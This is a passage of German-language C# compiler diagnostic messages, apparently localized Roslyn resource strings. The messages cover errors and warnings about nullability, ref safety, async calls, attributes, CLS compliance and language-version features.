für nicht verwaltete Aufrufkonventionen kombiniert werden. + Der Vergleich von Funktionszeigern kann zu einem unerwarteten Ergebnis führen, weil Zeiger auf dieselbe Funktion möglicherweise unterschiedlich sind. + "{0}" ist nicht CLS-kompatibel, da die Basisschnittstelle "{1}" nicht CLS-kompatibel ist. + Für die Quellschnittstelle "{0}" fehlt die Methode "{1}", die zum Einbetten des Ereignisses "{2}" notwendig ist. + Der Attributkonstruktorparameter "{0}" ist optional, aber ein Standardparameterwert wurde nicht angegeben. + Ein Ausdrucksbaumstruktur-Lambda darf keinen null propagierenden Operator enthalten. + Alias "{0}" nicht gefunden. + Doppelte Initialisierung des Members "{0}". + Die EqualityContract-Eigenschaft "{0}" für Datensätze muss eine get-Zugriffsmethode aufweisen. + Ungültige Option "{0}" für "/debug". Die Option muss "portable", "embedded", "full" oder "pdbonly" lauten. + Sie können nur die Adresse eines unfixed-Ausdrucks innerhalb eines fixed-Anweisungsinitialisierers abrufen. + Um für eine interpolierte ausführliche Zeichenfolge "@$" anstelle von "$@" zu verwenden, benötigen Sie Sprachversion {0} oder höher. + "{0}": Eine Klasse mit dem ComImport-Attribut kann keine Feldinitialisierer angeben. + Die partielle Methode "{0}" muss Zugriffsmodifizierer aufweisen, weil sie out-Parameter verwendet. + "{0}": Indexer können nicht in einer statischen Klasse deklariert werden. + Das CallerArgumentExpressionAttribute hat keine Auswirkungen, da es für einen Element gilt, das in Kontexten verwendet wird, die keine optionalen Argumente zulassen + "{0}" ist bereits in der Schnittstellenliste aufgeführt. + Muster für NULL-Zeiger-Konstanten + "{0}": Die Eigenschaft oder der Indexer muss mindestens einen Accessor haben. + Implizit typisierte Variablen können nicht konstant sein. + Eine Variable wurde mit demselben Namen deklariert wie eine Variable in einem Basistyp. Das new-Schlüsselwort wurde jedoch nicht verwendet. Diese Warnung informiert Sie darüber, dass Sie "new" verwenden müssen; die Variable wird so deklariert, als wäre "new" in der Deklaration verwendet worden. + Inkonsistenter Zugriff: Rückgabetyp "{1}" ist weniger zugreifbar als Methode "{0}". + Instanzfelder oder schreibgeschützte Strukturen müssen schreibgeschützt sein. + ref-assign von "{1}" zu "{0}" ist nicht möglich, weil "{1}" einen geringeren Escapebereich als "{0}" aufweist. + Der Operator ‚{0}‘ kann nicht auf Operanden des Typs ‚{1}‘ und ‚{2}‘ angewendet werden, die keine UTF-8-Bytedarstellungen sind + Verwenden Sie "Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal" zum Erstellen von Zeichenliteraltoken. + Eine Ausdrucksbaumstruktur darf keinen System.Index- oder System.Range-Musterindexerzugriff enthalten. + Arrays als Attributargumente sind nicht CLS-kompatibel. + Verwendung eines nicht zugewiesenen out-Parameters + Das Auslassen des Typarguments ist im aktuellen Kontext nicht zulässig. + Ausrichtungswert {0} hat einen Wert größer {1} und kann eine große formatierte Zeichenfolge zur Folge haben. + Eine statische lokale Funktion kann keinen Verweis auf "this" oder "base" enthalten. + Der Parameter ist ungelesen. + Eine Ausdrucksstruktur darf keine UTF-8-Zeichenfolgenkonvertierung ode Literal enthalten. + out-Variablendeklaration + Ein ref-schreibgeschützter Parameter kann nicht das Out-Attribut aufweisen. + Der Vergleich mit einer ganzzahligen Konstante ist nutzlos. Die Konstante befindet sich außerhalb des Bereichs vom Typ "{0}". + '"experimentell" + Der Typ "{0}" aus der Assembly "{1}" kann nichtüber Assemblygrenzen hinweg verwendet werden, da er ein generisches Typargument besitzt, bei dem es sich um einen eingebetteten Interoptyp handelt. + Möglicher Überlauf zur Laufzeit durch konstanten Wert (unchecked-Syntax zum Überschreiben) + Optionale Parameter der Lambdafunktion + Parameterlose Strukturkonstruktoren + Ein Parameter eines unären Operators muss der enthaltende Typ sein oder sein zugehöriger Typparameter, der darauf beschränkt ist. + Die lokale Funktion "{0}" ist deklariert, wird aber nie verwendet. + Der as-Operator muss mit einem Verweis- oder einem Nullable-Typ verwendet werden ("{0}" ist ein Non-Nullable-Werttyp). + Das abstrakte {0}-Element "{1}" kann nicht als virtuell markiert werden. + "{0}": Statische Klassen können keine benutzerdefinierten Operatoren enthalten. + Die Bezeichnung "{0}" führt Shadowing für eine andere Bezeichnung mit demselben Namen in einem enthaltenen Gültigkeitsbereich durch. + Der Member "{1}" überschreibt "{0}". Zur Laufzeit sind mehrere Kandidaten zum Überschreiben verfügbar. Es hängt von der Implementierung ab, welche Methode aufgerufen wird. Verwenden Sie eine neuere Runtime. + Anonyme Methoden, Lambdaausdrücken, Abfrageausdrücke und lokale Funktionen innerhalb eines Instanzmembers einer Struktur können nicht auf den primären Konstruktorparameter zugreifen. + get- oder set-Accessor erwartet. + Verwenden Sie nicht System.ParamArrayAttribute, sondern das params-Schlüsselwort. + Neuer geschützter Member in versiegeltem Typ deklariert + Der weitergeleitete Typ "{0}" steht in Konflikt mit dem Typ, der im primären Modul dieser Assembly deklariert wurde. + Die zwei Assemblys unterscheiden sich in Release- und/oder Versionsnummer. Damit eine Vereinheitlichung vorgenommen wird, müssen Sie in der Konfigurationsdatei der Anwendung Direktiven angeben. Zudem müssen Sie den korrekten starken Namen einer Assembly angeben. + Der Konstruktor "{0}" kann sich nicht über einen anderen Konstruktor selbst aufrufen. + Die referenzierte Datei "{0}" ist keine Assembly. + Der überladene binäre Operator "{0}" nimmt zwei Parameter an. + or-Muster + Die lokale Funktion "{0}" muss als "static" gekennzeichnet sein, um das Conditional-Attribut verwenden zu können. + Das Conditional-Attribut ist für "{0}" nicht gültig, da es eine Überschreibungsmethode ist. + Die Adressen von "{0}" (lokal) oder der entsprechenden Member können nicht übernommen und in einer anonymen Methode oder einem Lambdaausdruck verwendet werden. + SearchCriteria wird erwartet. + Schnittstellen können keine Instanzkonstruktoren enthalten. + Da "{0}" "void" zurückgibt, darf auf ein Rückgabeschlüsselwort kein Objektausdruck folgen. + Ein benutzerdefinierter Operator kann einen Typ nicht in sich selbst konvertieren. + Die Bearbeitung enthält einen Verweis auf einen eingebetteten Typ und kann daher nicht fortgesetzt werden: "{0}". + Da auf diesen Aufruf nicht gewartet wird, wird die Ausführung der aktuellen Methode vor Abschluss des Aufrufs fortgesetzt. Ziehen Sie ein Anwenden des "Await"-Operators auf das Ergebnis des Aufrufs in Betracht. + Rufen Sie System.IDisposable.Dispose() für die zugeordnete Instanz von "{0}" auf, bevor alle Verweise darauf außerhalb des gültigen Bereichs liegen. + Die zugeordnete Instanz von "{0}" wird nicht entlang allen Ausnahmepfaden verworfen. Rufen Sie System.IDisposable.Dispose() auf, bevor alle Verweise darauf außerhalb des gültigen Bereichs liegen. + Der zu analysierende Syntaxknoten kann nicht zum Syntaxbaum der aktuellen Kompilierung gehören. + Das Sicherheitsattribut "{0}" weist einen ungültigen SecurityAction-Wert "{1}" auf. + Einem primären Konstruktorparameter eines schreibgeschützten Typs kann nichts zugewiesen werden (mit Ausnahme des init-only-Setters des Typs oder eines Variableninitialisierers). + Eine statische lokale Funktion kann keinen Verweis auf "{0}" enthalten. + Negative Werte müssen in runde Klammern gesetzt werden, um umgewandelt zu werden. + Der lokale Name "{0}" ist für PDB zu lang. Kürzen Sie ihn, oder führen Sie die Kompilierung ohne /debug durch. + Memberdefinition, Anweisung oder Dateiende erwartet. + Der Verweistypmodifizierer des Parameters '{0}' stimmt nicht mit dem entsprechenden Parameter überein, der im überschriebenen oder implementierten Member '{1}'. + Eine Dekonstruktionsvariable kann nicht als lokale Referenz deklariert werden. + Da auf diesen Aufruf nicht gewartet wird, wird die Ausführung der aktuellen Methode vor Abschluss des Aufrufs fortgesetzt. + Eine using-Klausel muss allen anderen im Namespace definierten Elementen mit Ausnahme externer Aliasdeklarationen vorangehen. + Das Argument {0} sollte eine Variable sein, da es an einen ref readonly-Parameter übergeben wird. + Der "await"-Operator kann nur in einer Async-Methode verwendet werden. Markieren Sie ggf. diese Methode mit dem "async"-Modifizierer, und ändern Sie deren Rückgabetyp in "Task<{0}>". + Der statische Member "{0}" kann nicht als "readonly" markiert werden. + Ein fester Puffer darf nur eine Dimension aufweisen. + "UnscopedRefAttribute" kann nicht auf Parameter angewendet werden, die über einen "scoped"-Modifizierer verfügen. + Unboxing eines möglichen NULL-Werts. + Das Ergebnis des Ausdrucks ist immer "{0}", da ein Wert vom Typ "{1}" niemals NULL vom Typ "{2}" ist. + Variable + Die NULL-Zulässigkeit von Verweistypen im Wert vom Typ "{0}" entspricht nicht dem Zieltyp "{1}". + Der Alias "{0}" kann nicht mit "::" verwendet werden, da der Alias auf einen Typ verweist. Verwenden Sie stattdessen ".". + Mergekonfliktmarker gefunden + Der friend-Assemblyverweis "{0}" ist ungültig. Für InternalsVisibleTo-Deklarationen kann keine Version, keine Kultur, kein öffentliches Schlüsseltoken und keine Prozessorarchitektur angegeben werden. + Ein Parameter kann nicht als Verweis "{0}" über einen ref-Parameter, sondern nur in einer return-Anweisung zurückgegeben werden. + Das Programm mit Anweisungen der obersten Ebene muss eine ausführbare Datei sein. + Gibt einen Member der lokalen Variablen als Verweis zurück, es handelt sich jedoch nicht um eine lokale ref-Variable. + Leeres Zeichenliteral. + Die Einschränkungen "class", "struct", "unmanaged", "notnull" und "default" können nicht kombiniert oder dupliziert werden und müssen in der Einschränkungsliste zuerst angegeben werden. + "{0}" kann dieser Assembly nicht hinzugefügt werden, da es bereits eine Assembly ist. + Es wurde kein optimaler Typ für den switch-Ausdruck gefunden. + Öffentliche Signierung wird für Netmodule nicht unterstützt. + "{0}" wird in der Schnittstellenliste bereits für den Typ "{2}" als "{1}" aufgeführt. + Die linke Seite einer Ref-Zuweisung muss eine Ref-Variable sein. + Das Feld oder die Eigenschaft kann nicht vom Typ "{0}" sein. + Tupelelementnamen sind auf der linken Seite einer Dekonstruktion nicht zulässig. + Ein Ausdrucksbaumstruktur-Lambda darf keine Methodengruppe enthalten. + "enable", "disable" oder "restore" erwartet. + Es ist unzulässig, den Nullable-Verweistyp "{0}?" in einem as-Ausdruck zu verwenden. Verwenden Sie stattdessen den zugrunde liegenden Typ "{0}". + Der Delegat kann nicht an "{0}" gebunden werden, da er ein Member von "System.Nullable<T>" ist. + Methode + Partielle Deklarationen von "{0}" müssen die gleichen Typparameternamen in der gleichen Reihenfolge aufweisen. + "__arglist" darf kein über "in" oder "out" übergebenes Argument umfassen. + Zeichen "{0}" können an dieser Stelle nicht verwendet werden. + Der "await"-Operator kann nur mit Async-{0} verwendet werden. Markieren Sie ggf. {0} mit dem "async"-Modifizierer. + Der erste Parameter einer ref-Erweiterungsmethode "{0}" muss ein Werttyp oder ein generischer Typ sein, der auf die Struktur eingeschränkt ist. + Fehlende Übereinstimmung der Verweise zwischen "{0}" und dem Funktionszeiger "{1}" + "{0}" kann nicht als Modifizierer für Aufrufkonventionen verwendet werden. + Die Verkettung eines spekulativen semantischen Modells wird nicht unterstützt. Sie sollten ein spekulatives Modell aus dem nicht spekulativen ParentModel erstellen. + Für das Programm sind mehrere Einstiegspunkte definiert. Kompilieren Sie mit /main, um den Typ anzugeben, der den Einstiegspunkt enthält. + Erweiterte partielle Methoden + Das Feature "{0}" ist in C# 8.0 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Das Feature "{0}" ist in C# 7.2 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Das Feature "{0}" ist in C# 7.3 nicht verfügbar. Verwenden Sie Sprachversion {1} oder höher. + Das Feature "{0}" ist in C# 7.1 nicht verfügbar. Verwenden Sie die Sprachversion {1} oder höher. + Die Verwendung der Variablen in diesem Kontext kann dazu führen, dass referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Interpolierte Zeichenfolge erwartet + Das XML-Fragment "{1}" der Datei "{0}" kann nicht einbezogen werden: {2} + Der Inlinearraykonvertierungsoperator wird nicht für die Konvertierung aus einem Ausdruck des deklarierenden Typs verwendet. + Typ "{0}", der aus Modul "{1}" exportiert wurden, steht in Konflikt mit Typ "{2}", der aus Modul "{3}" exportiert wurde. + Eine Nullkonstante der Zeichenfolge wird nicht als Muster für "{0}" unterstützt. Verwenden Sie stattdessen eine leere Zeichenfolge. + Ein Einstiegspunkt kann nicht generisch sein oder sich in einem generischen Typ befinden. + "{0}" hat keine passende statische Main-Methode. + Das Steuerelement wird an den Aufrufer zurückgegeben, bevor das Feld '{0}' explizit zugewiesen wird. Dies führt zu einer vorhergehenden impliziten Zuweisung von "default". + Ein aus einem Element bestehendes deconstruct-Muster erfordert zur Vermeidung einer Mehrdeutigkeit eine etwas andere Syntax. Es wird empfohlen, nach der schließenden Klammer ")" einen discard-Kennzeichner "_" hinzuzufügen. + Der vollqualifizierte Name für "{0}" ist für Debuginformationen zu lang. Kompilieren Sie ohne die /debug-Option. + Felder einer Struktur müssen in einem Konstruktor vollständig zugewiesen werden, bevor das Steuerelement an den Aufrufer zurückgegeben wird. Erwägen Sie, die Sprachversion zu aktualisieren, damit das Feld automatisch als Standard verwendet wird. + Optionale Parameter müssen nach allen erforderlichen Parametern angezeigt werden. + Warnung überschreibt einen Fehler + Auf diese Bezeichnung wurde nicht verwiesen. + Die Variable "{0}" ist deklariert, wird aber nie verwendet. + Die Verwendung von {1} "{0}" (generisch) erfordert {2}-Typargumente. + Die Methode „UnmanagedCallersOnly“ „{0}“ kann das Schnittstellenelement „{1}“ im Typ „{2}“ nicht implementieren. + #endif-Direktive erwartet. + Mit "goto" kann nicht an eine Position hinter einer using-Deklaration gesprungen werden. + Die aktuelle Methode ruft eine asynchrone Methode auf, die ein Task- oder ein Task<TResult>-Objekt zurückgibt und den await-Operator nicht auf das Ergebnis anwendet. Der Aufruf der asynchronen Methode beginnt als asynchroner Task. Da kein await-Operator angewendet wird, wird das Programm jedoch fortgesetzt, ohne dass auf den Abschluss des Tasks gewartet wird. In den meisten Fällen entspricht dieses Verhalten nicht Ihren Erwartungen. Normalerweise hängen andere Aspekte der aufrufenden Methode von den Ergebnissen des Aufrufs ab, oder es wird mindestens erwartet, dass die aufgerufene Methode abgeschlossen wird, bevor die Rückgabe von der Methode erfolgt, die den Aufruf enthält. + +Ebenso wichtig ist, was mit Ausnahmen geschieht, die in der aufgerufenen asynchronen Methode ausgelöst werden. Eine Ausnahme, die in einer Methode ausgelöst wird, die ein Task- oder Task<TResult>-Objekt zurückgibt, wird im zurückgegebenen Task gespeichert. Wenn Sie nicht auf den Abschluss des Tasks warten bzw. keine explizite Überprüfung auf Ausnahmen ausführen, geht die Ausnahme verloren. Wenn Sie auf den Abschluss des Tasks warten, wird die Ausnahme erneut ausgelöst. + +Als bewährte Methode sollten Sie immer auf den Abschluss des Aufrufs warten. + +Sie sollten das Unterdrücken der Warnung nur in Betracht ziehen, wenn Sie sicher sind, dass Sie nicht auf den Abschluss des asynchronen Aufrufs warten möchten und die aufgerufene Methode keine Ausnahmen auslöst. In diesem Fall können Sie die Warnung unterdrücken, indem Sie das Taskergebnis des Aufrufs einer Variablen zuweisen. + Abfrageausdruck + Der Datensatzmember "{0}" muss geschützt sein. + Ungültiger Wert für das Argument zum {0}-Attribut. + Die agnostische Assembly kann kein prozessorspezifisches Modul "{0}" aufweisen. + Formatbezeichner dürfen keine nachgestellten Leerzeichen enthalten. + "UnscopedRefAttribute" kann nicht auf diesen Parameter angewendet werden, da er standardmäßig nicht bereichsgesteuert ist. + Der Typ "{0}" darf nicht als Zieltyp von new() verwendet werden. + InterpolatedStringHandlerArgumentAttribute-Argumente können nicht auf den Parameter verweisen, für den das Attribut verwendet wird. + Variable ist zugewiesen, der Wert wird jedoch niemals verwendet + Ein add- oder remove-Accessor muss Text enthalten. + 'Die explizite Methodenimplementierung "{0}" ist ein Accessor und kann "{1}" daher nicht implementieren. + Element implementiert Schnittstellenelement mit mehreren Übereinstimmungen zur Laufzeit + Der XML-Kommentar enthält ein doppeltes param-Tag für "{0}". + Der Enumeratorname "{0}" ist reserviert und kann nicht verwendet werden. + Ein Ausdrucksbaumstruktur-Lambda darf keinen Wörterbuchinitialisierer enthalten. + Das interpolierte Rohzeichenfolgenliteral beginnt nicht mit genügend „$“-Zeichen, um so viele aufeinanderfolgende schließende geschweifte Klammern als Inhalt zuzulassen. + Die Methode "Slice" des Inlinearrays wird nicht für den Elementzugriffsausdruck verwendet. + Das Mitglied "{0}" blendet kein verfügbares Mitglied aus. Das Schlüsselwort "neu" ist nicht erforderlich. + Die Spezifikationen für benannte Argumente müssen in einem dynamischen Aufruf nach Angabe aller festen Argumente aufgeführt werden. + "{0}": Statische Typen können nicht als Parameter verwendet werden. + Eine Zahl, die an die Präprozessordirektive der #pragma-Warnung übergeben wurde, war keine gültige Warnungszahl. Vergewissern Sie sich, dass die Zahl eine Warnung und keinen Fehler darstellt. + "await" in Catch-Blöcken und Finally-Blöcken + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem Zieldelegaten. + "{0}": Ein Einstiegspunkt kann nicht generisch sein oder sich in einem generischen Typ befinden. + "{0}" implementiert den Schnittstellenmember "{1}" nicht. + "{0}" enthält keine Definition für "{1}", und die Überladung der optimalen Erweiterungsmethode "{2}" erfordert einen Empfänger vom Typ "{3}". + #r ist nur in Skripts zulässig. + Ein Argument vom dynamischen Typ kann nicht an die generische lokale Funktion "{0}" mit abgeleiteten Typargumenten übergeben werden. + Die Endposition der #line-Anweisung muss größer oder gleich der Startposition sein + Der Syntaxbaum ist bereits vorhanden. + Der primäre Konstruktorparameter wird von einem Member aus der Basis abgeschatten. + Die automatisch implementierte Eigenschaft '{0}' muss vollständig zugewiesen werden, bevor das Steuerelement an den Aufrufer zurückgegeben wird. Erwägen Sie eine Aktualisierung auf die Sprachversion '{1}', um die Eigenschaft automatisch als Standard zu verwenden. + Verwendung eines möglicherweise nicht zugewiesenen Felds. Erwägen Sie, die Sprachversion so zu aktualisieren, dass das Feld automatisch als Standard verwendet wird. + Dereferenzierung eines möglichen Nullverweises. + Ungültiger Ausgabename: {0} + Eine Klasse mit dem ComImport-Attribut kann keinen benutzerdefinierten Konstruktor haben. + Der Methodenname "CollectionBuilderAttribute" ist ungültig. + Der Rückgabeausdruck muss vom Typ "{0}" sein, weil die Rückgabe dieser Methode als Verweis erfolgt. + Member des primären Konstruktorparameters „{0}“ eines schreibgeschützten Typs können nicht als ref- oder out-Wert verwendet werden (außer init-only-Setter des Typs oder eines Variableninitialisierers). + Automatisch implementierte Eigenschaften müssen get-Accessoren aufweisen. + Der Bezeichner "{0}" ist nicht CLS-kompatibel. + Der Rückgabetyp für den „++“- oder „--“-Operator muss entweder mit dem Parametertyp übereinstimmen, vom Parametertyp abgeleitet werden oder der Typparameter des enthaltenden Typs sein, der beschränkt ist, sofern der Parametertyp kein anderer Typparameter ist. + Der Inlinearraykonvertierungsoperator wird nicht für die Konvertierung aus einem Ausdruck des deklarierenden Typs verwendet. + Fehler beim Lesen der Debuginformationen für "{0}" + Eine Ausdrucksstruktur darf keinen Wert vom Typ "ref struct" oder vom eingeschränkten Typ "{0}" enthalten. + Statische Klassen können keine Destruktoren enthalten. + Der Parameter "{0}" ist ein Argument für die interpolierte Zeichenfolgenhandlerkonvertierung für den Parameter "{1}", aber das entsprechende Argument wird nach dem Interpolierten Zeichenfolgenausdruck angegeben. Ordnen Sie die Argumente neu an, um "{0}" vor "{1}" zu verschieben. + Der angegebene Ausdruck ist immer vom bereitgestellten ("{0}") Typ. + Quelldateiverweise werden nicht unterstützt. + Der Verweistypmodifizierer des Parameters stimmt nicht mit dem entsprechenden Parameter im ausgeblendeten Element überein. + '{0}: Statische Typen können nicht als Rückgabetypen verwendet werden. + Es gibt keine festgelegte Reihenfolge für die Felder in mehreren Deklarationen der partiellen Struktur "{0}". Um eine Reihenfolge anzugeben, müssen sich alle Instanzenfelder in der gleichen Deklaration befinden. + Inkonsistenter Zugriff: Indexer-Rückgabetyp "{1}" ist weniger zugreifbar als Indexer "{0}". + CLS-kompatibles Feld kann nicht temporär sein + Zeilenumbrüche innerhalb einer nicht ausführlichen interpolierten Zeichenfolge werden in C#-{0} nicht unterstützt. Verwenden Sie die Sprachversion {1} oder höher. + Inkonsistenter Zugriff: Parametertyp "{1}" ist weniger zugreifbar als Methode "{0}". + Der Baum muss einen Stammknoten mit SyntaxKind.CompilationUnit aufweisen. + Nur assignment-, call-, increment-, decrement-, await- und new-Objektausdrücke können als Anweisung verwendet werden. + Das auf den Parameter "{0}" angewendete "CallerFilePathAttribute" besitzt keine Auswirkungen, weil es für einen Member gilt, der in Kontexten verwendet wird, in denen optionale Argumente unzulässig sind. + "params" ist in diesem Kontext nicht gültig. + Ein Ausdrucksbaumstruktur-Lambda darf keinen ref-, in- oder out-Parameter enthalten. + Der dateilokale Typ "{0}" kann nicht in einer "global using static"-Anweisung verwendet werden. + Der Typ "{0}" kann nicht mit einem Sammlungsinitialisierer initialisiert werden, weil er nicht "System.Collections.IEnumerable" implementiert. + Der Musterabgleich ist für Zeigertypen unzulässig. + Ein Ausdruck vom Typ "{0}" stimmt immer mit dem angegebenen Muster überein. + Das Feature "{0}" befindet sich zurzeit in der Vorschau und wird *nicht unterstützt*. Um Previewfunktionen zu nutzen, verwenden Sie die Sprachversion "Preview". + Der erste Operand eines überladenen Shift-Operators muss den gleichen Typ wie der enthaltende Typ aufweisen. + Automatische Eigenschafteninitialisierung + Fehler beim Lesen der Ressource "{0}": "{1}" + Präprozessordirektive erwartet. + Der erste Operand eines überladenen Shift-Operators muss denselben Typ wie der enthaltende Typ aufweisen, oder seinen Typparameter aufweisen, der darauf beschränkt ist. + '"await" kann nicht in einem Ausdruck verwendet werden, der den Typ "{0}" enthält + Es können keine Zugriffsmodifizierer für beide Accessoren der Eigenschaft oder des Indexers "{0}" angegeben werden. + Die partiellen Methodendeklarationen weisen Signaturunterschiede auf. + Die Modulinitialisierermethode "{0}" darf nicht generisch sein und darf nicht in einem generischen Typ enthalten sein. + Tupelelementnamen müssen eindeutig sein. + Der Sprachenname ist ungültig. + '{0}: Der Operator oder Accessor kann nicht explizit aufgerufen werden. + '{0}' darf nicht extern sein und keinen Konstruktor/Initialisierer aufweisen + Ein Werttyp, der NULL zulässt, kann NULL sein. + Für automatisch implementierte Eigenschaften darf keine Rückgabe als Verweis erfolgen. + Mehrzeilige rohe Zeichenfolgenliterale sind nur in ausführlichen interpolierten Zeichenfolgen zulässig. + Das erforderliche Leerzeichen fehlt. + Ein Verweis auf NETMODULE "{0}" fehlt. + Verwendung eines möglicherweise nicht zugewiesenen Felds '{0}'. Erwägen Sie eine Aktualisierung auf die Sprachversion '{1}', um das Feld automatisch als Standard zu verwenden. + "{0}" definiert "Equals", aber nicht "GetHashCode". + Der Vorgang verursachte einen Stapelüberlauf. + foreach-Iterationsvariable + "{0}": Überschreiben nicht möglich; "{1}" ist kein Ereignis. + "{0}" TypeForwardedToAttribute-Duplikat + Puffer fester Größe müssen länger als 0 (null) sein. + '"await" kann nicht als Bezeichner innerhalb einer Async-Methode oder eines Lambdaausdrucks verwendet werden. + Der Konstantenwert "{0}" kann nicht in "{1}" konvertiert werden (verwenden Sie zum Außerkraftsetzen die unchecked-Syntax). + Bezeichner ist nicht CLS-kompatibel + Wörterbuchinitialisierer + Interner Fehler im C#-Compiler. + Das auf Parameter „{0}“ angewendete CallerArgumentExpressionAttribute hat keine Auswirkung. Es wird vom CallerLineNumberAttribute überschrieben. + Gibt einen Parameter als Verweis zurück, dieser ist jedoch auf die aktuelle Methode beschränkt. + Der Parameter "{0}" muss beim Beenden einen Wert ungleich NULL aufweisen, weil Parameter "{1}" nicht NULL ist. + Interpolierte Zeichenfolgen + Nicht alle Codepfade geben einen Wert in "{0}" mit dem Typ "{1}" zurück. + Möglicher unbeabsichtigter Referenzvergleich; linke Seite muss umgewandelt werden. + Im Basistyp "{0}" wurde kein zugänglicher Kopierkonstruktor gefunden. + Das für diesen Parameter gefundene positionelle Element „{0}“ ist ausgeblendet. + Fehler beim Auflösen des Dateipfads "{0}", der für das benannte Argument "{1}" für das PermissionSet-Attribut angegeben wurde. + Ungültige Zahl. + Die referenzierte {0}-Assembly besitzt eine andere Kultureinstellung: "{1}". + Zweideutige Referenz im cref-Attribut + Der erste Parameter einer Erweiterungsmethode darf nicht den Typ "{0}" haben. + schreibgeschützte Verweise + "{0}" ist "{1}" und im angegebenen Kontext nicht gültig. + Die überladene {0}-Methode, die sich nur nach "ref" , "out" oder dem Arrayrang unterscheidet, ist nicht CLS-kompatibel. + Ungültiger Parametertyp "void". + Einschränkungen sind für nicht generische Deklarationen nicht zulässig. + XML-Kommentar weist ein syntaktisch falsches cref-Attribut auf. + Anonyme Methoden + Die Anmerkung für Nullable-Verweistypen darf nur in Code innerhalb eines #nullable-Anmerkungskontexts verwendet werden. + Eine Ausdrucksbaumstruktur darf keinen Throw-Ausdruck enthalten. + Der Typ "{0}" kann nicht in "{1}" konvertiert werden. + Der Filterausdruck ist eine Konstante "false". Ziehen Sie in Betracht, den try-catch-Block zu entfernen. + Das benannte {0}-Argument kann nicht mehrmals angegeben werden. + Der Arraytypspezifizierer [] muss vor dem Parameternamen stehen. + NULL kann nicht in {0} konvertiert werden, weil es sich um einen Non-Nullable-Werttyp handelt. + Mehrfacher Verweis auf Analysetool "{0}" + Der partial-Modifizierer kann nur unmittelbar vor "class", "record", "struct", "interface" oder einem Methodenrückgabetyp verwendet werden. + Die '{0}' muss nicht generisch sein, damit sie mit '{1}' übereinstimmt. + Der Typ implementiert nicht das Sammlungsmuster. Der Member ist keine öffentliche Instanz- oder Erweiterungsmethode. + Der Typ des Arguments für das DefaultParameterValue-Attribut muss mit dem Parametertyp übereinstimmen. + Für "{0}" ist kein Zieltyp vorhanden. + Ungültige Verweisaliasoption: "{0}=". Fehlender Dateiname. + Der Typ "{0}" darf nicht für ein Feld eines Datensatzes verwendet werden. + Ein Feld oder eine automatisch implementierte Eigenschaft darf nur dann vom Typ "{0}" sein, wenn es sich um einen Instanzmember einer Referenzstruktur handelt. + Ungültige Varianz: Der Typparameter "{1}" muss "{3}" lauten und gültig für "{0}" sein, sofern nicht Sprachversion {4} oder höher verwendet wird. "{1}" ist {2}. + Die Verwenden-Anweisung wurde zuvor als „Global verwenden“ angezeigt + Das auf Parameter „{0}“ angewendete CallerArgumentExpressionAttribute hat keine Auswirkung, da es auf ein Element in Kontexten angewendet wird, die keine optionalen Argumente zulassen. + Das benannte Argument "{0}" wird außerhalb der Position verwendet, wird jedoch von einem unbenannten Argument gefolgt. + Member des schreibgeschützten Felds "{0}" können nicht als schreibbarer Verweis zurückgegeben werden. + Ein Ausdruck vom Typ "{0}" kann nicht als Argument für einen dynamisch gebundenen Vorgang verwendet werden. + Abfrageausdrücke mit dem Quelltyp "dynamic" oder mit einer Joinsequenz vom Typ "dynamic" sind nicht zulässig. + Die Option "{0}" überschreibt das {1}-Attribut (in der Quelldatei oder im hinzugefügten Modul angegeben). + "{0}": Membernamen dürfen nicht dem einschließenden Typ entsprechen. + "{0}": Der in einer asynchronen using-Anweisung verwendete Typ muss implizit in "System.IAsyncDisposable" konvertiert werden können oder eine geeignete DisposeAsync-Methode implementieren. Meinten Sie "using" anstelle von "await using"? + Der Parameter „{0}“ tritt nach „{1}“ in der Parameterliste auf, wird jedoch als Argument für die Handler-Konvertierungen einer interpolierten Zeichenfolge verwendet. Dies erfordert, dass der Aufrufer Parameter mit benannten Argumenten an der Aufrufsite neu anordnen kann. Erwägen Sie, den Handler-Parameter einer interpolierten Zeichenfolge hinter alle beteiligten Argumenten zu platzieren. + Ungültiger Name für Hashalgorithmus: "{0}" + Das kontextabhängige Schlüsselwort "var" darf nur in einer lokalen Variablendeklaration oder im Skriptcode verwendet werden. + Eine Ausdrucksbaumstruktur darf keinen Zugriff auf einen statischen virtuellen oder abstrakten Schnittstellenmember enthalten. + Ungültige Bildbasisnummer "{0}" + Ein Windows-Runtime-Ereignis darf nicht als out- oder ref-Parameter übergeben werden. + Eine Instanz des Typs "{0}" kann nicht in einer geschachtelten Funktion, einem Abfrageausdruck, einem Iteratorblock oder einer Async-Methode verwendet werden. + "{0}" implementiert den Schnittstellenmember "{1}" nicht. "{2}" hat nicht den entsprechenden Rückgabetyp "{3}" und kann "{1}" daher nicht implementieren. + Das Argument muss mit dem Schlüsselwort (keyword) "ref" oder "in" übergeben werden. + Muster für erweiterte Eigenschaften + Der Typ eines Ausdrucks in der {0}-Klausel ist falsch. Fehler beim Typrückschluss im Aufruf von "{1}". + XML-Kommentar weist ein cref-Attribut auf, das sich auf einen Typparameter bezieht. + Der dateilokale Typ "{0}" kann keine Zugriffsmodifizierer verwenden. + Der primäre Konstruktorparameter '{0}' wird durch einen Member aus der Basis schattiert. + Methodenname erwartet. + "{0}" (fest und lokal) kann nicht innerhalb einer anonymen Methode, eines Lambdaausdrucks oder eines Abfrageausdrucks verwendet werden. + Die Methode "{0}" wird nicht als Einstiegspunkt verwendet, weil ein synchroner Einstiegspunkt "{1}" gefunden wurde. + "__arglist" ist in diesem Kontext nicht gültig. + Der Member "{0}" muss beim Beenden einen Wert ungleich NULL aufweisen. + Elemente können nicht NULL sein. + Kein C#-Symbol. + Die &Methodengruppe "{0}" kann nicht in den Nicht-Funktionszeigertyp "{1}" konvertiert werden. + "{0}": Statische Typen können nicht als Parameter verwendet werden. + Nur ein "using static" oder "using alias" kann "unsicher" sein. + Typ "{0}", der aus Modul "{1}" exportiert wurde, steht in Konflikt mit dem Typ, der im primären Modul dieser Assembly deklariert wurde. + Der switch-Ausdruck verarbeitet nicht alle möglichen Werte des zugehörigen Eingabetyps (nicht umfassend). + nicht verwaltete konstruierte Typen + Erfasst die Adresse, ermittelt die Größe oder deklariert einen Zeiger auf einen verwalteten Typ. + Die angegebene Versionszeichenfolge '{0}' entspricht nicht dem erforderlichen Format: 